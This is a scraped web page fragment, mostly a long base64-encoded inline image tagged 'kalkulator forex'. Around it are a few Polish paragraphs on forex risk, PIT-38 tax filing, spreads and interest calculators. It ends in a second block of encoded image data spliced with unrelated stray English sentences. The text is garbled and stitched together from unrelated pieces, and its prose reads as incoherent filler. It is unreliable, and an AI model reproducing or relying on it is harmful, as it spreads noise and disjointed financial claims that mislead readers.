9lc9EenH9Jdsnp+0jaZht6cq8xJKk6NlSG0BWYF5fG8cdDuWKEDpi2d\/QJjgY7MMNSqulUlZ+R7nJuyOb5jg4YvDUk4S4PUlzI1p1RfEm42X0ONKc8LK4pRBHDQ+WHBhheaqSTyVpFn03SoWUB0jzdUSJIdzjJiVEjJYonFOA5y4WU+\/e+lo35DYEmmzB3tfnXXml3tyYeCbcNPfjkvMKGvXF\/cd39x8606JUlf\/ACj8SbNju2Hue8C4bnpHa1gWkzM6u7bMwqmqmVvtlOoPhaKv8Vo5jx5XqRihNSqGGaFI0GUfqRMvKyySlDbViAbG+pFrw\/qpsklquQl+tTIykqsGRfQa\/EI0xsPkm5QsKr03uVrC0ksADhzHtjNWzqlN7NWXgYqHye5xHd093\/cviQm7rNtuOPSt0s5cqSc4JVfieI\/+oQJ5xC6g8rlrTafAu26o5bjW9h5InWodzrTZxzlAxPONBbYbulhPMq+hhMPcuUU5r4tnjm43ZTFaWYYW+uc9\/ItU7DZ7bRGirf5L4nP04UJk2m0vtu5V8UJtby9PGPoZwt9w\/Cg\/8IpfzG48Y3e5cobbK1jFk6cqSq25TrpHtDQ2BK7HsOyqSVBmmU1sK6bJbjuZZi6OJ1Rou9jyfaLs\/mORqnLHQ0qd7bp8LdPNDpon9QjyQsjhCLQvrdHkhaHCOqeYKwQQQBzvBBBG6fOghsY++xCPy6fkMOeGxj0f9jt\/lx80wNbF\/QS8hc7lj7Y8Q\/mrfzzDc\/pBZJupYSw3TnVEImpiaZUQbEBTJGnbDj7lj7Y8Q\/mrfzzCJ3ev2Cwl+ev\/AMONabtO57Hs59Ww9\/4nllLbG8ZYcqEjUBPN7tt8LCWVrUUlJunQdNuMTFhSqVaecfaqbL10pCs62ykA8La9sLjvKwypTCXVOZbpBb8Em3T0RZLrqRJE0ytI5siL6+\/FMTWq4qqqk3w5I71KMKVN04x482DjlQDxyMIU3mABB1IhPn5eqPTe\/ZQ4BuBYBVhnBNxx5xGarHEbeQ0mXStJ0VvEaxqNuYwLKy7KpDoPgAN+CfLFbjSKeFpauKx3h+dIWGPReVJaz6hBdGh5ui8eok\/V6XTplMvOzTTC3QVJziwIBtx8pHbHl3gp\/Fvfrh9NQl2ksKqcsFEJt\/aJj1InpCQnXCmclWXTYgZ0gkDntHJzK2uN\/wBcDbw217GmMSUJTbrrc604GhmUlAuq3PpGSVr1EnXky8vPMLdWSEt28IkcR70ZGaRTGFBTNPYQoIKBlSB4Jtce\/YReinSDTiXm5JhLiCSlQSARfjaOa3FdTbuzYyjxB8GG67j7C7EzMSj00pDsqHS4C197AKwOk2N4cd1dXbCL3l4V3jjve\/I53VLWtW71UV+zJ8vPFYOK9q4d+RqS20LCE1ImpM1NsyyXtwpzd6JXlzWV0ac554xI2m4Lc5Pu6nnTNtNvNLSycpQ4bJPCN9GHsI0sFtNLpkqJggFJCUhwgdB46CMDuHMCTbzS102juOSpShuxRdsp1AGulr3i\/wD4+dyv8RWiY7wviGorpdKnN7MIzXBaKR4J11PbCzNzspIMGanFoaaSbFRToOiEyjUrB8nOKeoMpS25nKrMZdSc+UnXgb2vCo8hlxkpmktKavqHCMvHTjES0p7XsWTfM0jiXDqbA1SVvbNYG5tFDibD3NVJa\/MOfstGz6D0oq3hpkqVDicgi00+jpUHFScoFEZQSEgkdERePiRdm4nKpIUEghQBHgxXKPEHZFQCkWCQAIMx6B2xSzLGnVapTqJTn6rVHW2JWWRncWocBw+WEFnaZg95SkCeWhSULcUlbJBATxHl1FumHFUGJKbknpepssuSriCl1LtshTz3vpaEJvD+AXczjNOo67JVnUlSDZNtbkHhGSOj+a5DvyNzDmLKBitp96hTQmES6ghwlvLYkX545e7uVU01XcGmTYQ4rk83mBNtLiOp6JTcPU5DycPy0iyhSgXRKlNiq2l7c9o5J7v+SqE7WcCJkHsqW+UrmGwbFxoEXAPljawbX7QtPiYa93T3OeC\/VAm\/IUX6M\/PAp+qJWEpkULBOhC+aE2TpNSQ8pbsy5u0zCFtp3huUgG5V8UWT8hV35l5yXaUWnSFLQp3KSbEAJI5uB96O+c4XmVOrbCnmw2vnSDe0XxjlkOtyzSHlZnEpAUekxkgB1bKvumYV\/wB3lf4gj1LPAx5abKvumYV\/3eV\/iCPUs8DAHG\/dn4KxdXsdUapULDdQqEuKZuVOSzJcCVhxRsbcNCI569LPaP8AgJXf1JcTV3e223afs1xxh+j4HxbN0iVmKaqYdQwQM694oXJ8gEcueqy7of3U6t8P\/wCoh9hHmv8A7ne21cv0jsYP5cp9kqKydYZSVK6vvvd3+14klULBm02hTwn5fANaU4kHLmkVGx5jYix9+FKi0za7QahN1CRwBVFKmkJQpL1PUsDLwIuOPEe+YjNPdI91IuSYqDePcQrl5rNuXEAqC8qspsAL+y0v06Rb6pbuodB39Ylurh6yvW5sPa9Onli0fk7dOyjiLW\/XQyVf9Qzr373AJ6lZ7Pdf\/RLbnpvqOZvZlNNLDe6SpFLUMqcpSebUnMSeuMDDO2NmQbpp2bzbjLOct56USU5jc624XJ064i1XdId1MgoC8c4lSXHA0kKbUCVkgBNraEkgDpvGRzuie6raD6lY3xIUyygh0oTmCTrzga+xVw4WMWfyf1OLxP4fAxR+XqFtKy5W8pf8h\/Ykw5tSxMthU1s4qUsJcFKES1OUhNjx0AhG9LPaP+Ald\/Ulw1090b3VKmFzQxtifdNOBpai0qyVkZsp04218kaLvdWd0bLurZf2nVppxslK0LOVSSOIIIuDGOXybupK7r3f68DZp\/6jamGgoRwSUVw4\/wDIeb2zDaStlaEYDrpUpJAHI18bR6MMSszIbMqRJTjKmn5aTkWnEK4pUnICD78eXNO7rHuhfRCWz7UKqtO+RdKlghQzDQ6R6s4iWp7CyXlm6lmXUT1laYhdmP3dd9erX+Xp1NLH\/KbP5QoxjKiqfc34c9S839k26GbsJ8kLQ4QiUL63T5IWxwixzCsEEEAc7wQQRunzoIbGPvsOj8sPmmHPDYx99h0flh80wNbF\/QS8hb7lf7YsQfmrXzzCJ3e32Cwl+ev\/AMOFvuV\/tixB+atfPMIvd6\/YPCX56\/8Aw41antHsezf1bT9\/4nKEok8ibOU\/1aeeM5avmugiyh7aE6jTaJuTKMyS6yShQzagBXG3ZCkUA5gbCyh7aMa4HdUlLdBuze2U+ztxg3ZuNDqojjFMuvsRbPb2UUCBceCPZH20SC+mtgYmw\/xH\/acueP8Aqpj0QrWHqdWpht+cLwWxdKC26U2BIvw8gjzvpaB3zYfBt9k5c6G\/9qmPQ6tUysTk03MUqsmTyBSVNlGdKiTxtfiBw8scnME3ONvH8jbwtt7l1GoUjRN8ZMvqL1s5ccKybXtx8sKOnQY1aWxUJaWLdRnkzTuYkLCMtk8wjbt1iOXKMrm2mlzKadBg06DFbdYjHMF9LDqpZKFvBBLaVGySq2lz0Xiul9CXJCHivBlNxbybl78yyqVzltTKgDdQtCIjY9hlpTrrU3UkuvFC1L35JzDiRfQX4GEzA2HNsAolcp2O65KNzc3Nmbp81JTClFhJVctG4HggADtiys7PdqFUqk7Oy20VcgzMqWWmGM+RkFIAy3V0i\/bF6c5uKauvcc6OLnUpqoqUrvk7J8\/17xy4a2c0XC9T9FJCYm1uBCm0IcWMqAb3AA5tTpDinZCVqcmqTnEKU0pVyAbXsbw0MIYPx3Ra4Z\/EeOl1iWDbqN2WyjMVFOUlN8oy2PAc8PdFinQjiYPU3c26M3ON5R0voxB7yqIVFSuVagi2\/Vb5YubwbREhYUmYWF5dFPKIGXhbXSF63WILdYhqqGX+Eb7WDaW22UGYnlXuATMKuEnm48IXGWm2GkMthWVtISNeYRkt1iC3WIh6pcSbpCfXqNJ4hpE1RZ8uhibRkWW1ZVAXvoR1gQ3pHZfhynNTSZRyZSucStDiyQfBUACAngBpDxt1iC3WImMpx2RD0sQcK4OpeEG5pqmvTLnK1pWsvLzEEC0cyd3LNS0rX8GLmXg2DLzYBPTcR1zbrEcf93rUZOlVPCE3PIK29xMtpQlOZS1FQskDpMbOC1PEJsw17d3ZHOrU5KPryMvoWrXQHojNCDL4llgXmnKJPS82whK+TbtJcWhRsCmxta\/HXSKJxlKN8obqFNnZOYYbS6GHUpKnEqVlTlIJBudI9Ac8X4IR28USS5JE0uXmG3FzIlOTqSC4Hb+xsDbhrfohZgB07KvumYV\/3eV\/iCPUs8I8tNlX3TMK\/wC7yv8AEEepZgDgb+kO2c4+xdj3DlTwrg+q1iWbpamVuScsp0IXvVGxtw0Ijkz0j9s3PssxP+zXPNHtFMOpbLzjzqkNMt7xWU8AL3+SI2m+6H2RSSiJjFLqEpUUFZadtmBsRwv19Ed\/CZ\/UwlGNFQTSPI5j2RoZjiZ4mVRpy5WPNei0XukqDSZaiSOzSuqlJRJS0h2iqWQC4VnUjpUrtjfz91US+VYBryt+QdaIfWyBa6PB8HToj0omts+AJKfepczUp5Eyw0t4oLDl1IS3vCU9Pggn3o03u6B2US7q5Z\/Erzb7a3EKaU2sKCkLShQt1FY8utuEW+f29+5iVj2ScFpjiZ2PNqfku6hqbLTM\/gHELwl5pudZUqjKzNvIVmSoHL0\/FpG7JzPdT02UTT6Zs5rMpLIS4kNM0EpAzkkn2PSY9TcL1+jYvpKa1Q511+UW440lfhJupCilWh6wYVuTJ++O\/DMPn6+zoxIj2ScXdYmf3Hk5ITXdW05oNMYBrqiAU53KEVK1BHEp5gT2mGDPbHNuFRnHp+d2ZYoemJhxTrqzTXPCUTcnhHtDyZP3x34Zg5Mn7478MxaHaKVN3jSSMdXsbCslGpXk0utjxhpew3bMupSiDsuxKnM+2Lqp7gA8IakkaR6\/YgStGFEIWnKpPJwQeY50w4DLp++O\/DMIeKVFVAmEqN8sy2kX6N4mNDMsznmOnVG1jsZLkVPJdeiblqtx8L\/EzUL63T5IWxwhFoekujyQtDhHLO6VggggDneCCCN0+dBDYx99h0flx80w54bGPh\/2Oj8sPmmBrYv6CXkLfcr\/AGxYg\/NWvnmETu9fsFhL89f\/AIcLncsfbHiH81b+eYQ+72+wWEvz1\/8Ahxq1PaPY9m\/q2n7\/AMThdh2YkaguZBUEFSgrKogkG+nyQ8Ke7J1BnO068lScudBeWCPj4cYTENIU2MwvcRnlVIl5hLvsRwV5P+rRiidaFOVJvfY26sluSp7z6H3QseC3Z5Z8Lm54soziKjKh1xbiHAspUnfq0FvLGlkzD1xSjqVWJOhOvCKpSWznZWpCh0KtfqMSncvad9S4Dgo8o0MV4cUHHDaqy3F1RH9anpMeqm5a+9p7I8oKLPLfxXhptpBbUmsSe8vr4JeTwj1iibXLp3LNy197T2Qblr72nsi+CIsiSzctfe09kU3TPHImLzEK7Zdo20XZTiOQxYmlIquBt1uai1Lt\/VEu4T\/WE9HxdPTGOrONGOuXAwYivHDQ7yadvDl4ksVer0OhS6Jusz0rJMrWlpK3lhAK1GwGvOY3giXUApKUEHUEc8c2YKwti3uicTy+0zaGzMU\/CEk7vKHRCop5RY6POjnHP1+SHNiDZttYlMQVjE+E8TONmfnkpakkzJQgSoCMpupKgCCDoEjQkX1ilGo615WtHl1fj8DHhMRPE3m42h\/L1fjbkuhN26Z8RPZBumPER2RAjWCdv8w4p6qVxp1xMyoBSJvJvWTa2dIRbKNfBFtLc8b9Hwrt\/M5mqWKEsy8u6HAhL6Fh619LbsZUWt4PG44xnsjcsTZumfETBumfETEC4xw73QjOKahWcPVhC6fWJtplqTYeKFSbTfBZUsKTZQvmCUjyxbQaB3R9RlZuZqeIjKFLa9y2p5F3HgLA6N+Ag8QNeY9ULAnzdM+ImDdM+ImIFOGO6bVKsNDFcs22lbS1AOIU\/lKjnSV7sA2FubXWHpsjw7tGo8zW53aFUDNPTjjW4O\/DgskEEpSEpCAdPB18sLEEj7lr72nsg3LX3tPZF8ELIFm5a+9p7I4P\/pN3m5ZzBDRabAmlPMF5eiZe6h66SOFrfHHeccXf0gDLUxXsGsvtJcQqWmwpKhcEXTzQt0JRxLR3mKXXZ2WmcRsz63pVJFQWtOZniAgkeD1gRrJp\/ohiF+mitCquvyyXROEJUZYoXdKDl8GxPNxh5tUilMsLlmabLIac1WgNDKryiMsrISUigtyUm0wlXENoCb9kOI4EfNSc4uoifmKyGZV2oLb5S2nIC4QStaSfYi4CQegHph5YWnpmo0GVm5tWZ1aSCvxwCQFe\/CguSk3GOSrlWlM\/eygFPZGRCENpDbaQlKRYACwAglYN3HXsq+6ZhX\/d5X+II9Szwjy02VfdMwr\/ALvK\/wAQR6lnhEkGk86G5lSFFFltgEKv1wnuUegOrLjlJpylHQksDr6uswrJAM0skcED5TDSxPXsTyNXUxRVUMyrbab8rmAhe8ubp46XGW3lgBdXJUpx4TC5KTU6lJQFlu5ykWIvbojGaJQ5pwqVSae44o5iSwLk8b8IQaHXMaTFVZRWhQGZJRyubmYzuZ9bAa9Nvjh5upSHWjbnPyQBilZYSLW4lJVhlvMVZUDKLk3Og64zZ5jxW+0xoV+ouyMmoSb8qmbVYtofcCcwvra5F40cO1KvPzT7FeFObyJTuxLu3Kjc3JBNxzaRZQbjqKOolLSLuaZ8RHaYM8x4rfaYynhCDXXsXMzjZocpJPSuROffLIXmuq9raWAy\/HERWp2JlLSr2uLJVMeK32mEHE2b0Ams1r8qb4flExs4dexK6y6MSy8s06ldkcnvlI9\/5fijXxR9gZr86b\/iJg1Z2EXqV7GxQvrdHkhaHCEWhfW6PJC0OEQWKwQQQBzvBBBG6fOghsY9+w6D\/rD5phzw2MffYdH5YfNMDWxf0EvIW+5X+2LEH5q188wid3r9gsJfnr\/8OFvuV\/tixB+atfPMIvd6\/YPCX56\/\/DjVqe0ex7N\/V1P3\/iccNtENoutINtRY6fFA9L5wEh1PsgTx4X8kIzmMMNNOLZcq7KVoUUqAQo2I48BFisZYYIsK22OsNr+jGv39L7S9T0f7LWlxg\/Ri+poJGYuo+PzRblR99R2nzQhHGmFUAqXXGrcSVIXYfFGPv9wZ+EMp8FXmh39L7S9R+z1ucH6DxwyhteLaAneA2q0oqyb8Q6mPWSPH3BmMMJzONsPNS+IWnHF1aUCUJCtSXU9UewUWhUjU9l3KShKHtKwQQQRcoEYJqUl51lctNsIeacGVba05kqHWDGeCDVw1fZmJlhuXbSyw2ltCAEpSkWCQOYRlggglYJWCCCCACCCCACCNGtVmmYepczWqzNolZKTbLz7y\/YtoHFR6hGSm1KRrEhL1SmTbU1KTTaXmHmlBSHEKFwoEcQRAG1BBBABHEv8ASHTKZWvYGcXPIlszM2hOZGbOo20txjtqOJf6QylydTxBgVM02SWGptxtQNik6D4xAHJPomvdJdNZYspRSDuDxHG45vLG0yZ6ZaD0rUWlIUBb1rn5+OsWqw9T1JyLDihc8XDrfm+IdkbkpKtSTAYZzZQSbqNySeOsAVYTMpvyhxC72tlTa0ZYIIAdWyr7pmFf93lf4gj1LPCPLTZV90zCv+7yv8QR6lnhAGFH10v8QfKYQ5jZ\/hebqb1XmZAuTL2pUpZIBuDcDm1ELiPrlf4g+Uwk1Gs1mUlai7L0bfOyq08nQkk79By3PlF1adXGANCV2Y4Skn2ZmXk3kusLC0K367i1rDjwGUfH0w5XiErbVzAm\/ZDMkce4pmnktP7OqjLJWUFLjryLBJIBvlubjU+9GdGNcTIW4icwDPZQhxxC2HkLCsoFk2NvCJuOjSBFxZrdComIN36JNKXugpKSlSkmx4i46bRrSeE8OyTzb7TThcbc3qVLWpRC9NdfIITJbHWIJibal17Pqkw0q5cfccRlbTboGpN+qL2MdVh9suJwHVbKaLrYugFXg3CTc6KOg8p46GLa5Wtcq6cW7tDu5Q1xzcOowcpa8b4jDPlcbYlnFpSNnlQlxcBSph5sWJTf2t762F4yHGWIUS\/KFYEnTlDmZCXU5yUgEZRbXNcgajhFS46zMteN8RhBxOQaBNEG4M03\/ETFMMYkrNcmZlmp4Tm6U20kLbcfWlQXckZdPbC2vNrpfjF2KPsDNfnTf8RMAbFC+t0eSFocIRKF9bp8kLY4QBWCCCAOd4IeWIdnM7IZ5mjkzTAuot\/2iR5Of5YZykqQopUkgjQgjURuRergeAr4eph5aaisUhs48t6EI\/Lp+aYc0NvHCc1JbFv7dPyGJNDGfQT8hZ7lhJTiLEF\/7q188wh93t9gsJfnr\/8ADhxdzNupfEVcLjiU5pRviQPbwnd2vh6v4po2F28M0Sfqy5eceU6mRl1vlsFGhUEA29+Nap7R7Ds075bTfn+JwS3hqTfmS7UcP0chZUVqQ3dROljqNbm942e9TDP+AyH6BPmiQPSn2on\/ALucTfsl\/wChB6U+1D3OcTfsl\/6Ma7pQfJHou+qfafq\/iR8cJ4ZIt6AyP6BPmg70sL\/g\/T\/1dPmiQfSn2oe5zib9kv8A0YPSn2oe5zib9kv\/AEYd1DoR3tTq\/VjVwfhbDbOMcPvs0ORbcbqsopKksJBBDqeBtHrrHl7StnG0+lVeSqKdm+JHFyUw3MBs0p8ZihQUB7Hqjq0d1TtRJsjuZsUOWAuUl4a\/oIuoqPBWKSm5Pd3OlYI5r9VRtT\/yw4q+E9\/Lweqo2p\/5YcVfCe\/l4ki50pBHNfqqNqf+WHFXwnv5eD1VG1P\/ACw4q+E9\/LwFzpSCOa\/VUbU\/8sOKvhPfy8HqqNqf+WHFXwnv5eAudKQRzX6qjan\/AJYcVfCe\/l4PVUbU\/wDLDir4T38vAXOlII5qPdU7Uhqe5ixSP\/O9\/LwDuqdqKvY9zFik+Rb38vAjVvY6KqtLp9bp0xSarKNzMnNtlp9lxN0uIPEEc4jFQaFTMNUiVoVGlxLyUm2GmGhwQkcAOqOe\/VT7U\/8ALDir4T38vB6qjan\/AJYcVfCe\/l4E3OlII5r9VRtT\/wAsOKvhPfy8UPdU7URx7mLFI8q3v5eBDlbidKxxh3fn2xYK\/Npv5Uw+h3VO1FWo7mLFJHSFvfy8Qxt5re1fblVqTUXNieJaK3SGXGkN8jffU4VnUk7pIA04QJTuQLBDr9Kfah7nOJv2S\/8ARg9Kfah7nOJv2S\/9GBI1IIdStlO09IurZ3iUDrpT\/wBGAbKdp54bO8S\/sp\/6MCLq9g2VfdMwqf8AxeV\/iCPUvmjzW2cbNtolP2g4bm57AmIJeXZqku4467TXkIQkLFySU2AHTHpImZlynSYb+GIC6vYoj65X+IPlMNfEFKkKZTa3UazXnpaTnXG3XFhGjASUgAWGoNgD03hyofZEypReQAUAXzDrjTrqpybpUwzQ5uUTOKADanbKQk3F7jyXgTcjGiz+D2GnZp7GVdmZCy5KzgUlFhlVnBSLgC+h04m8Jsq1guRqdNeqO0\/Ec9L7hMyzKqzJayAZbqypCrqOvHU+WHuZfaY2xukvYXdUHSLqaWnM3lGpsbBRVfq4RjkE7RxMsOVSTw6ttwEOJbBuyAnp59eYDhfXhAqnYQ5ipYcSuYfpWPa0GSoOOtyrK1LU6tSralNtAgpyjo1jKZvCc2W6g7tGrQUoFvejOgLKDZVhltqU6WHMbQvvS20NUq2ZZ7D7UxvCpYyHLlAGUHTUk5iSLc0a87SdpD9LllytboTFQZmFqcQuWC2XGblSRwzBWiQbW5z0QJ4iC3MYWf3VOa2g4j5Sh1SG3N24haFuqNrnIE6Zzx5vJFU1DD05UVSp2mVwPFTQaQlCwlHrd9bpOpSlRJ0tfr1cMnIbRpiSeeqdSokrOuONBDcq3mbbb8ErVmUMxUPDAvpwMbFKGO3Jxp2pSdAbllueuJSVb1Deovzgqtbntr1aiL3FjA9SkKnhmUfp1VmKmyhJb5XMJIW8RoVG4HGLMTDNQ5kdM23\/ABEwuN8lZRkaLaE9CSBCPXAlymutBQuubbIF+I3iT\/ygWMtFSUsJv0QsDhGjTmQhpIItpG9wgCsEEEAR\/gTa9hrGz6qO5vqTXWkXepc74LvDUtng4nrT5bCF\/EGC6VX0l1be4mbaPNixP4w54RMBbIcM4HeVVsrtUrbybP1Sd8N9XSEczaehKRw01h+ReTSd4nKwFHFVsKoZmouXh05X\/u622vwIQr2E6th9wmaZzsX8F9Auk+XoPlhjY0SDSkC\/9sn5DHUjrLb6FNutpWhWhSoXBhi4h2Q0CvzDS989Ky4c3jrLQ0XodAfa8YyRq9Tj5lkFSdOUcLvfk\/iczUvCVYxTOCQotPdmXjxKRZKR0qPADyxKWGO53k6UET2IH+XTY1DQJ3KD\/wDL39OqJzo2HqPh6STT6NINSzCeZCdVHpJ4k+WNwsJVxSIpOo5cDPlPZujgkqld65\/cvJc\/fcjBeDynRKLAaWAizvOV4p7IlAyiCb5YpyNHiiMZ6YjDvOX4p7IO89XiHsiT+Ro8UQcjR4ogCD8VbFsP4xZQ3WZNzeNm6H2Flp1PVmTrbqhTo2zOnYfkG6bSJFMuw2LBKRqesk6k9ZiXBJtj2oivI0eKIGCOGoxqusorW+dlf1tf7yMO85finsg7zleKeyJP5GjxRByNHijsgZyMO89XiHsg7zleKeyJP5GjxRByNvxRAEYd56vEPZB3nK8U9kSfyNHiiDkaPFEARh3nq8U9kHecvxT2RJ\/I0eKIORo8UQBFU1gRqdZVLzMvvG1CxBTFkhs+laXLiVp8ollpPMBx8p54lfkTfiiK8jR4ogV0rVq5kYHCCvFPZB3nL8U9kSfyNHiiDkaPFECxGHecse0PZGpUdnMlVmdxUJTeo49HxiJZ5E34gg5E34ogQ0pKzItYwS3LtJYYYCG0CyUpSAAIyd56vEPZEnCSbHtRFeRo8UQJW2xGHeerxD2Qd56vFPZEn8jR4og5G34ogCJ5\/Z\/KVWVckqhJIfYdGVSHE3BERdW9hWL8IqXUNn02uoyNypyjzjpzJHPuXTw\/FOkdU8jR4og5GjxRExk4u6NLGYGljEtd1JcJLZr4+TuuqOKTh+j46qDKH35yl1mmkpdkZlIS4kH2SS2sWUP+IRnxDifCOEWjLGfRMzKBZMpJ+GsnoNtE+\/HUeN9lOEcespNYp5anWPreflju5hg8xSsa26jcRzjtB2J4kwjOejc3LTU402Tuq9SJf6qbHD6oYHs9Pbp9+NmE1LwPFZtTzTKoSqUYqV+M1f1cbuz8b262Ofatiqq4wxK3MTzlSlZdq4lZenq9dSrm8p6YeGHaZjZM22ZHlaMWKtyZiQGdxxP\/APWj+rSOs2MTDs07n2t1kJn+SzGHaa\/q7OzSQapOA8co4S6T8KOi8IbOsK4GkPQ\/DdJblkqN3XT4TryvGWs6qPliJ1FHZI5WR5BmuPk8TipuKbvfe\/uW2\/R7W5aiOsLYTxQ9Q5VeLpWUZqhR6+iVJU2D744+TSFbvOX4h7Ik\/kaPFEHI0eKI1nvufVKcO7go3btzfF+ZGHecvxT2Qd56vEPZEn8jR4og5GjxRAuRh3nK8U9kXIwcu\/sT2RJvI0eKIORt39iIAYMphBIIztA+9DkpdAlpNQWlhCVDnAF4XRLoBuEiMiUAc0AWNICQBbhGWKWtFYAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAIIIIAoeEWLAI1EEESuJSp7LKp04RfBBEMmPAIIIIFgggggAggggAggggAggggAggggD\/\/2Q==\" width=\"306px\" alt=\"kalkulator forex\"\/><\/p>\n<p>Kiedy ju\u017c podejmiesz decyzj\u0119 o ryzyku przypadaj\u0105cym na jedn\u0105 transakcj\u0119 musisz trzyma\u0107 si\u0119 go konsekwentnie przez okre\u015blony czas zanim je zwi\u0119kszysz. Inaczej natomiast wygl\u0105da sytuacja, gdy polski podatnik uzyskuje przychody z Forex za po\u015brednictwem brokera zagranicznego. Polskie przepisy nie mog\u0105 obligowa\u0107 zagranicznych podmiot\u00f3w do wystawiania informacji PIT-8C, dlatego te\u017c polski podatnik musi wype\u0142ni\u0107 PIT-38 samodzielnie. Mimo to przygotowali\u015bmy analiz\u0119 techniczn\u0105, kt\u00f3ra pomo\u017ce Ci ustali\u0107, czy lepiej sprzeda\u0107 czy kupi\u0107 kryptowalut\u0119.<\/p>\n<h2 id=\"toc-1\">Podsumowanie Tygodnia Na Ameryka\u0144skiej Gie\u0142dzie<\/h2>\n<p>Jak to zosta\u0142o wspomniane wcze\u015bniej, spread mo\u017ce mie\u0107 r\u00f3\u017cne warto\u015bci i r\u00f3\u017cne poziomy. Niemal zawsze jest to podyktowane warunkami rynkowymi i obecn\u0105 na dan\u0105 chwil\u0119 g\u0142\u0119boko\u015bci\u0105 rynku. Ta z kolei zale\u017cy od zainteresowania danym walorem oraz od wielko\u015bci obrotu charakterystycznej dla danego instrumentu. W zale\u017cno\u015bci od klasy aktyw\u00f3w, kwotowanie mo\u017ce odbywa\u0107 si\u0119 w spos\u00f3b ci\u0105g\u0142y i dotyczy to g\u0142\u00f3wnie spread Forex, spread surowce i spread indeksy.<\/p>\n<p>Kalkulator odsetek od zaleg\u0142o\u015bci podatkowych Kwota odsetek jest wyliczana po wprowadzeniu wysoko\u015bci zaleg\u0142o\u015bci oraz ilo\u015bci dni. Kalkulator odsetek ustawowych Kwota odsetek jest wyliczana po wprowadzeniu wysoko\u015bci zaleg\u0142o\u015bci oraz ilo\u015bci dni.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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0nQ6NscNpo8Pk9uomxgyyHm73dAOgA960F+vAtkOzH\/ABHadnb8u3xVudE3Rw\/HNxM9WCKOEjbOm0dRGD26uI0byJCr7NZ7fYLbBabXTiGnp27rWjmfEk9STxJVaiKrXvc9xc45kr3jTwRUsTYIGhrGgAADIADcABwACIiia1z3BrRklcV3LxrS4hrRklW2\/aio9PxFnCarcO6wHg33qVqXU0NjjNHRObJWOHedzDP+a1zUTS1Mr5p5HPe85Lickra0NvM2Ukvq+9QDFGLxb86Si3ycTwb8z7uKmXO51l1nNRWSl7jyHQDwCoiMqNQnmpGxoYNloyCpqolkqHmWUkuOpOqlqE8FGRxWP3vVtDbC6CnxU1I4FrT3WHzP5D7lkRRPmdsxjMrT3CvprZEZqp4a339w1J7le5JI4WOllkaxjRkuccAD3rHLnrWgpXOioYzVPHDezusHx6\/Dh5qj0ppXaLtm1RT6U0dZKy93OoO9HSUrcMiZkAveSQ2NgLgC95AGRkr6Sejz\/Ji7PNJx0moNsVSNX3tu7IaBhdHa4HgtcBu8H1BBa4ZkwxzXYMXDK3kFqa3fMczyVW3bH88xMdubsD7x3nwGg8183LHatp20qtfbtGaavd6mY3ffTWehlnLG8suEYJA8zwW1LN6AvpX3qKKpZstkpIpsEOrLnRxOaPFzDLvj3FuV9rNP6MsenrbTWix2ikt9DSRiKCmpYGxRRMHJrWNADR5AK8C1RgcGAfBbRkbIxkwZKBVNXUVj\/SVDy49pzXxLr\/5O70rKJ5bDoOirAPrQXmkA\/vyNP3LWet\/Ru277OnVB1dsq1DSQUjd+aripDU0rG+Jnh3o8f1l9+prU0g9wK1VtkieCDGOPkuax1+dIgg4IwQi+1G2\/0Nti22FlTWX7SUNDeJt536YtgFNV75x3nkDdmPAD6Rr8DOMc18zPSI9EHaT6P0kl2rA2+6XMjWR3iljLREXHDWzxZJiJOADlzCS0b28d1EWileNLaUvGr7m222mDeIwZZXcGQt+04\/lzPRVOitE3bW10FDQN7Knjwamqc3LIW\/m49G9fIAkdL6Z0vaNKWyO1Wen7ONvF73cXyu6ueepPyHIYHBR2935lsb6KLfIfYO0\/AK5Oi7onqsbyivrs46Jp3nQyEatZ2cHO0GgzOeVLozRdp0ZbBQW5m\/I\/DqiocO\/M\/wAT4AccN6e8knIkRVnNNJO8ySnNx1K9xW+30tppWUVFGGRMGTWjQD9bydSd53oiIupZSIBlAMq5WWyV18rGUdFC57nHp0Hj5BFwkkbE0vecgFb0UyohdTVM1M8jehkdG73tOD94UtfVya4PAc3QoowMLwDC9XxfCURFEAi+FWzUtgpNT2Grsda3MdRGWh2OLXcw4eYIB+C5Fu1sq7Lcqm1V8e5UUsjonjpkdR5HmD4Fdnt4HPgtD+kLpX1S50uqaaPEdWBBOQPrgZYT7xkf1QpbhO4GCoNI89V+nePmPgvPfT\/hJtztLL9A362n3O7Y3H\/i4gjkC4rTyIisZeNkRERERERERERERERERFsHY\/ocanvRu1whDrbbXBzmuHCaXm1nmBzPwHVY1ZVx0UDp5dB+svFbvDlgrMUXSG1UIzfIcuwDUuPY0Zk927etibHdCDTloF8uUGLlcGAgObh0EJ4hvkTwJ+A6LYqIqfrauSundPLqfLs8F+jeGsPUeFrXDaqEZMjGWfFx4uPa47z7BuARERYq3q9ALiGtGSeACtupr9HYKY0tM8OrpRxx\/sx\/H\/Pgq263SHT9vNXIA6plBELPzK1jVVE1XO+pneXvkJLiT1WyoKP0x23+qPNQfFmIjQM+iUx+sOp5D58vapE0kkz3SyvLnuOST1Upw6qYeBUBHRSIaZKnZM3HMqW5SKqpgpIHVNTK2ONgy5zjwChudxpLVSPq6yTdY3gB1cfADqVrO+6grL5PvSncgYfo4geA8z4lbKion1Zz0bz+ShmJsUU1gj2fWlOjfieQ8zw5i46g1jUXAupbcXQU3Iv5Pf8AwHl\/6Kr2TbKtXbZ9c0GgdFUbZq+tJc+WQkQ00LfbmlcM7rGg+8khoBcQDh6+tf8AJ\/8Ao80ey3ZrTaxu9EP9J9WwR1lTI9vfpqVw3oaceHAh7uRLnYPsNxKIYGQN2YxkqIuVzqrtMZ6t+0fIDkBwC3N6Nfo36J2A6Mh03pikbNWzhkl0uksYFRXzgHvPPRgyQxgOGgnmS5zt+UVC1rQMYVvtcAa0cFkNKwABdqwFMipWgclO7BuOSmxgAKYQMIioJYBjkrfU04OeCvMgCoZ2jiiLGa+jaQeCwXVumbbe7dVWq60EFZRVcT4KinnjEkcsbhhzHNPBzSCQQeBC2TWNGCsZusYIPBEXz52uej\/a9kRbU6HtXq2nJX96FhLvVZXH6ziS4tdwAcScHgT7OdaAYX0J1rY6O8W6qttdA2WCojdHIw\/WaRghcKa30rVaM1JVWOpJcyN2\/BIf9pESd13v5g+YKrjE9p+iy\/S4\/Ved\/Yfkf1wXtHoL6QRfaD\/D9bkJ6do2Dptxjdp95m4HmCDqHFWJERRNX+iAZQDKynQ+g7trW4er0bBHTQjfqKl